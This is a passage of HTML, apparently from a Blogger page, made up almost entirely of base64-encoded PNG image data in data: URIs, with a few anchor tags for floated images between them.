9ccnrO5a/v/vWUwdXnDxw69BrN4+Ojr6/9y5tq5h6vmoOAhttrTkIrAMjDqAJeNxv9tVoLbk69o4rVnkiO657df+1Dw3qTwHxFQQf9P+blQIn337g0B9u2P+/N73XffPQazef2Lv8xN7lt788+F7vHdpW6oBo7t2H8vLSXKK12DU0cEVJ3DTqAmg8pmtUX+EeItiv+pwDYeW1V8pj/8aXhVJtq0oNNpX4CIKz7/zUSoHBN+87tPP6/c/dMNC1vJQCJ/Yuv+n3fx7ouV3byh4PWZ38uaJKJfqR6C8LTUMD3hVC4DjGAW1t6tXn0a+t/vWhfkdr+zd9fahWm3tvpm3l2WBDZV9BcOrte6wUOLb/h4d2Xv/atr9Xg2Bw7z8cP/izuk8xwMLA/eKvsfWDwM/QYGDj+6/debT39qM9dxztuevQzuv3blva33XrQO8dAz23H92z8vjB+y+cbvUBAbSYKOaATx9BfubChTPdqTcffmvXsgMdPxh854Xs5HBALQOApoGYBAAIAgAgCABACAIAEIIAAIQgAADBYgwAgsUYAASLMQAIFmMAkKZajJkiDJcVWIzNEASwAIicxdhdWZm2b+2yiRZjggAWAJGzGFeqbDcmcItxRWexKmMzWRYIDggvkbIYm4ttf2LgFuMKzmIlIzX3CkpiCD3Rshjr5aWnrR0xgVuMq6hKNRlp+WjdwyGAUBE1i7Fnj8D/0KBOi7HvILCaSBxAOImcxdizp2DtPXCLsclZXGVogJIYwkvkLMauyvYdZmVHEyzGBkOx+2Wh0rmKJ1ESQ3iJnMXYXdnw7SEWY4CGE0V7KRZjgMYSxRzAYgwAiEkAQAgCABCCAACEIAAAIQgAQAgCABAsxgAgWIwBQLAYA4BgMQYAaarFGOCyAouxbzAPQFSInMXYvcpUuYkW4woQBBAVImcxdq8yVW6mxdiSN2nSIqVGPB6LJRLxcvhVyjKCA1pMpCzG5lVzJU2xGLsOo5xspjPiEDoqlM4GgmMID9GyGBtXKfdd8BZjVaGkytrU0+AlcdT/TQSMphASomYxNqxylDTRYqy1oWoQqD5GvRNFHEALiZzFuEoKSFMsxu5b1ho+qZlq0rmq62OJFIJjaDmRsxi7V5lKgrcYm7r3dv9JXVRNx0qhUo7gGFpM5CzG7lWGyliMARpOFO2lWIwBGksUcwCLMQAgJgEAIQgAQAgCABCCAACEIAAAIQgAQLAYA4BgMQYAwWIMAILFGACkBRbj2icQz825av3fYQPUARbjStSqUqpgWQBoHZGzGLsrm3bYdItxjUGgSxgAwkHkLMZ6ZXODA7cYx2LxeEzJH9ubqkWYmpMJS0DiFCnYOpey6TiVsPYfT5br2WetYkICzI9IWYztYlODm2Axjjk6OKVb12VPs+5dg+TF1hjZ9mOH7Mnqf80t6DFNzwICIFoWY8cN5WpwMyzG2rA/6TCX630C9yl1jxcqV7NPH+8ZITiiZjH21KGVd9hMi7ESBEZDcSODwPpE4gAaTuQsxtW7D4FbjGPqEVknwm0oFtfLkApDg6pBgO8YAiJyFmN3ZVODA7cY650Q15cqqrm47DJ2vlJRejLeynPz0IB3hdBgImcxdld2N7gZFmOex3C5EUV7aeAWY4IALjOimANYjAEAMQkACEEAAEIQAIAQBAAgBAEACEEAAILFGAAEizEACBZjABAsxgAgWIwNMHEZGgIW40q0xGLs6xQTBFCBBWAxNlW+PCzGBAE0ishbjM2VF6zF2H0e2izliWdCO8QnHsENUCIVTYuxqXTBWow9z4Jrb14qNEfQt366OIQO24VlUhOF12JsKly4FmN7944Urro3uwTxKVQgyhZjU+WFbTF2nQUfQWC1mTgAjQVgMdYrL1CLsfssKL2yGocGeJDBgPoM81rhHiKYrjf7stSfRvot22CLsbvywrUY6zj2XNPLQjzIYMAxDoimxdhQGYsxQMOJor0UizFAY4liDmAxBgDEJAAgBAEACEEAAEIQAIAQBAAgBAEACBZjABAsxgAgWIwBQLAYA4C0wGJcN8wGhmjh94pt6RXedItx3RAEEAaUSbzO2fO6wMY14T40FmPTDptuMa4bggDCQOQtxuYGB24x1uJPT66Uh4ZYKVdKNNmhcmQVwxAgAFLRtBibGtwUi7GHC7jUBsuapGmIVZuSQ39sksChG4bmY1+QJjVReC3GpgY3wWKsyz9VT5IqL9QW9LBUracqpdB1D58AAiXKFmNTgwO3GM+1z+r7O/tFdQSB+UiJA2gaC8BirBcGbjF2uICT9geXM6GWIFD1x6oEdu5g0A1D81gAFmNTgwO3GGsuYF1eXCEItN6L4WWhUyLLu0IIngVgMXY3uBkW4zrh6Q6RJYr20sAtxnVCEEBUiWIOYDEGAMQkACAEAQAIQQAAQhAAgBAEACAEAQAIFmMAECzGACBYjAFAsBgDgETJYgwQLbAYAyxYsBi32GIMEAawGDfEYqz8bnKzzKlKEnErrmzvSPk0uqQOlZMQIBiwGNdvMbY9TeVcMgaBsxelnB4UxhAasBjXbzHWnUyWpFxZ6y5RD0YVMqEwhpaBxXieFuN5BgEKY2g9WIznaTFOmYYGqtPVcKa0oQEKY2gpWIwbYjHWXxYqBbrXWJyr9ZeFKIyhBWAxbq7FGCCyRNFeGlaLMUBUiWIOYDEGAMQkACAEAQAIQQAAQhAAgBAEACAEAQAIFmMAECzGACBYjAFAsBgDgGAxBggKLMbzYp6nAy8BBAoW4yZZjLmTIcxgMW6ExVg9lnIr3BW8fpNUIhaLx2OlKCuv0ydw2kIoc01DdOqyE1zJUAtYjOu3GDtVrk5VWbmCscW2s9jqbc0tuG0sNda0XZKKLEnzxuJKBi+wGNdvMVYORtG8OiuoQkdVv6SaTl0Lnr4z44L6/DfaU7XPRY4KOliM52Mxto9GO3ClgpfZ1bjKq45XTdXxaPW83EFgPpnEAZTAYjxfi/HcojL41ivY/XCDs7gBQaC2Quva2Z0xXMnggfos8VrhHiJgMTZZhtVGGTTEpSLtq5S2Cre3+4C9a9rjs9IgwtEE98tCXMngQBs4qleH6VWBYDH2pmIXppWEwiIJkSeK9tIWWIzDcNgqSocgVO2CiBLFHMBiDACISQBACAIAEIIAAIQgAAAhCABACAIAECzGACBYjAFAsBgDgGAxBgDBYgwQFH7nrLd0jnvwFmOm8MNCwiC9DLfF2L3KVDl4izFBAAuJyFmM3atMlQO3GNdjJVbKmRsMYcVlGQ6zxdi8qi55aX0W43qsxKp3yeUNAwgF0bIYG1cp/q7ALcb1WIn1pGRoAWEjahZjs8/fLgneYlyHlZgggFATOYtxlRSQJliM67ESa3JTcgDCQ+Qsxu5VppLALcZSh5XY1NcCCAORsxi7Vxkqt8ZiXBW+cYQoE0V7aQssxtUhCCDCRDEHsBgDAGISABCCAACEIAAAIQgAQAgCABCCAAAEizEACBZjABAsxgAgWIwBQEJnMWaWASwYsBg78HV4BAGEnMhZjGurHDKLMUEAISdyFuPaKrfKYuxOR4eqxSM0AcJDpCzGlSs33WLsqW0ql9iGIitkWz9VG8BAtCzGlSs322LsGKUoFmO9pHSmiAAILVGzGFer3CKLcZUgsBpKHEAIiZzFuHrl1liMqw4N4qZRFEDriZzFuJbKrbMYV35ZaA2ieFcI4SJyFuOaKofUYgwQZaJoLw2lxRggwkQxB7AYAwBiEgAQggAAhCAAACEIAEAIAgAQggAApO4gKBSKxaL6a6ExzQGAVlBPEBQKxWffiF2aSE9PZ6ensxOZS8++ESMLAKJLPUGQz89eGDu7/a3lz76x+L8P/t1zh286f/F4LpdveOMAoDn4DoJisTh88dh/HfzbqamZTXuv2rT3qqmpmWcOLDp34QidAoCI4i8ICoVCLpfvfe/fSxGg/rzcf182mycLAMosVItxoVAYOn9gamqm8s/srDsLUomY1yzNVCIWSyQdEyP1GRilaZNKaTLO/GRoFe5JweG2GLtXzdNinM3muvrvKY0F3D2CqamZ/9z/1398565sNqdvmUrEYvF4zJQEbm2Lw+Bk2jyViMVi+EqgJZisxOG2GLtXzdNiXHcQWDZWQxKUjr6yg2mu02DLnxIu2XHb3O+xRMKZn4b4U80MlirKvJ/Wzw+FUOESh0XEYmxeVZfFuN4gULpILhFb+b8GoZpb0piMW1JD9xGVtlB7E26Dmy2PVFxR2v9LW6NMBoAB060eBYuxcVV9FuNsNv9y/32b9/2VVxBsPfA3u975vh4EDp25lgSpRMzlbPM+YFtmqkof1We7NsSosY6mbtIdqgA2htsyEhZj84OxLotxoVAYvXRqcLjXKwiGzh84f/G49rLQy6aWjMcSyXIO1DI0mLulleBQHYzGdw3GOu4Er5CUAE48O+qOEmspJBbjKikgfr8+LBaLuVzeKwiy2bzjD49FRMRhXtUOUO+i2yuMr1/1Eudoy/Npr9XRjPTlkmqfCCAiFZzCobUYu1eZSur5g6JcLj82fXrT3qvGpk9bC15/ROAdWs6oM3QalHZ7RK892Cp9q2AaGuh1RCkyvCx0DR8AHLi+zAu3xdi9ylC5jiAQkdnZgjsITH8+EHpCoY2EhUYU7aX1BEGxWLwwdrar/57zF4+PTZ8uLbgHBaFF6RC0/PzDwiOKOVD/NORCNpsrFArWQmObBQDNBDEJABAEAEAQAIAQBAAgBAEACEEAAILFGAAEizEACBZjABAsxgAgWIwBgsLvHNaWznkN3mKsOQOdcyANPoKkUxWYQmEMoQKLcV3OQoeAoDRz2tl6l3rMJVFAYQyhAYtx3UHgjDGjbsmtFXNWQGEMIQGLcZ1BUO7WWMdo9JSWnvPGHr96ur0UgyiMoVlgMa7XYmwdQtucVMkYBG2xRMIkX3SOtFAYQ2vBYlynxdj5wa7bzPmQdwkhURhDuMBiLFKXxTimDQr0cZH2AsX1nsDrdDuHWiiMoTlgMS7j12Ksv5pz9KO83poozfTOXRTG0AqwGM+xQCzGoXBGwgIkivbSy85ijMIYAiaKOYDFGAAQkwCAEAQAIAQBAAhBAABCEACAEAQAIH6DoLe3t7e3d2JiyriQy5mmGwFA6PEdBLP5/J49e95771ihMFtamJ3N79mz59ChQ6+88spEZiKghgJAcPgLgp6ennw+d/LUmXPnhguF2dJCsVg4eerMgQMHpqamdu/ePT4+HlBbASAg/AXBq6++mstl8/ncbD4/O5svFGYLhdlisVAsFrq7u7u6urq6urq7uwNqKwAEhL8g2L17dy47k8tl87ncbD6nZcFfzp07OTQUxiBgQiE0H79XXUuvUn9B0N3d/cbRk5V/urq6HNto2kDnHMhaLcaG6ZV+IAigYVz2FmMR6erqmpmeys5MZ7MzuazSL5i1+wVaEDTCYqzWr2ueFkEADQKLsYjIiy++WLVH8OKLL6qbNMRibDC9muwOeswZjCPxeKwUreV1iitmfp0OuDzAYiwismvXrqnJyempSWe/IJsv9wvyhcLsrl271E0aZDGeq1te9j479kqXsNgKGsuBpGcufQeoAhZjEZGOjo6qPYKOjg7DlvOxGLtfEWiyJbdMtrLCUFsw7g3ABBZjEZHnn39+cmJiMpOZmsyU+gUz09PZGaVfkM8///zzHls3yGIsHtlWi9TYKwjoBUBtYDEWEdmxY0fVHsGOHTvUTRppMbY7+5XUw3O7sA81pWmO9QXX3gA8wGIsIrJ169aJ8fHM+LjdL5icnJ6y+gUzuVx269at6iaNtRinEjHDfpzf0riFxbrm2LjgHoAAGMBiLJJIJKr2CBKJhP+TC7BwiKK91F8QrFu3bvzSpYmxsYnxscz4eGZiYjIz4ewXTK9bty6gtgJEgSjmgM8geKg2AmorAAQEYhIAIAgAgCAAACEIAEAIAgAQggAApI4gGB4e3rx586aNG7c99dS2p576zfr1Tz755NDQ0MzMTFT+QWQA0PBtKHr68cdHDh6UgQE5elT6++XIkZGenvWrV2/ZsmVkZCSfzwfUUAAIDh9B0N3dvfvpp+XgwUxPj+zfL/v2SW9vpqsr89JL8sor29au3bhx45kzZ8gCgMhRaxAMDw8/8cADkkxmXnhh49q1v334Ydm5M/Pcc6t/8pONjzyS+d3vpL193Y9/vH379nQ6zRgBIFrUGgSbN28eefrpzDPPPLFmzejo6MDAwJYHHlj9wx8ODAyMjo4+8YtfZDZsGFm7dtWqVYcPH56ZmQm00QYwC0DY8Hs1tvTqrTUINq1eLevXy2OPbVm16siRI2NjY0eOHLEWttx+u9x9t9x55/3f+U57e3s6nfbRhNqPv6qGiSCAoDG4McNtMa6tcq1BsO222+SOO2TFCvnud7fcdltfX186nU6n0319fVtuuUVuukm+8Q1ZsiSxdOmGDRsGBwdr3K0/CAJoOboCWNGFhNNiXFvlmoPgm9+UJUvkxhszN974wC237Nu3b2hoaGhoaN++fU99+9ty3XVy3XVy7bUbb7zxoYce6u/vtzY0+sISasR5levR6fhNDzWCAJpNSrcMh9liXLly7WKS33zve7J4cWbx4p/ffHNnZ2dfX18ymUwmk319fZ2dnZu/9S1ZtEgWLbrnhhuqB0GbM0ErlNsFLqOTRelEEQTQZGzPnUlNFDaLceXKtQfBk08+OXLNNZlFix5dubKzs7O9vX3zkiWblyxpb2/v7Ox8dMWKzBe/OPKlLy1btkwbGngaRLUSd7ltPjYdjCYXIwigqSj3v0P9FVaLcbXKtQbB0NDQ+iVL5POfz3zhC4/cdtumr39drr5arr5609e+9sitt2auvlo+97kHv/rVlStXai8L5xEEVnPbbGG5rRh09q8IAmgeHvebw8Hruo0Nl6hbnunef0MsxtUr1xoEMzMzW7Zs2XbNNfKZz2Q++1n59KflyivliivkU5/KXHmlfPKTia98ZenSpWvWrNG+PrS697pKWKoFQSoR18ZSJuurY7cEAQSNpy9YWeEeIrTQYlxL5dqHBsVicWRkZOPGjesWLx654gr5+MflYx+Tj35UPvKRkU984sHFi5cuXXrvvfd2dHRof1Bk9Zt0lbBUCwJ7KOWIx9KvurOYIICmYFAAh9tiXFNlXxbjfD5/5syZ7du3r1q16v7rr08sWvTol798z7XXLlu2bOXKlWvWrOno6Dh79ix/YgyXOVG0l/qbdJTP59Pp9OHDh9vb2zds2FBSlW7YsKG9vf3w4cPpdJoUgMueKOaA/2nIxWJxZmYmnU4PDg729/f39/cPDg6m02mmIQNEF8QkAEAQAABBAABCEACAEAQAICL/DxEe6UjaHRtWAAAAAElFTkSuQmCC" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="http://www.blogger.com/blogger.g?blogID=694521803021083340" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></a><a href="data:image/png;base64,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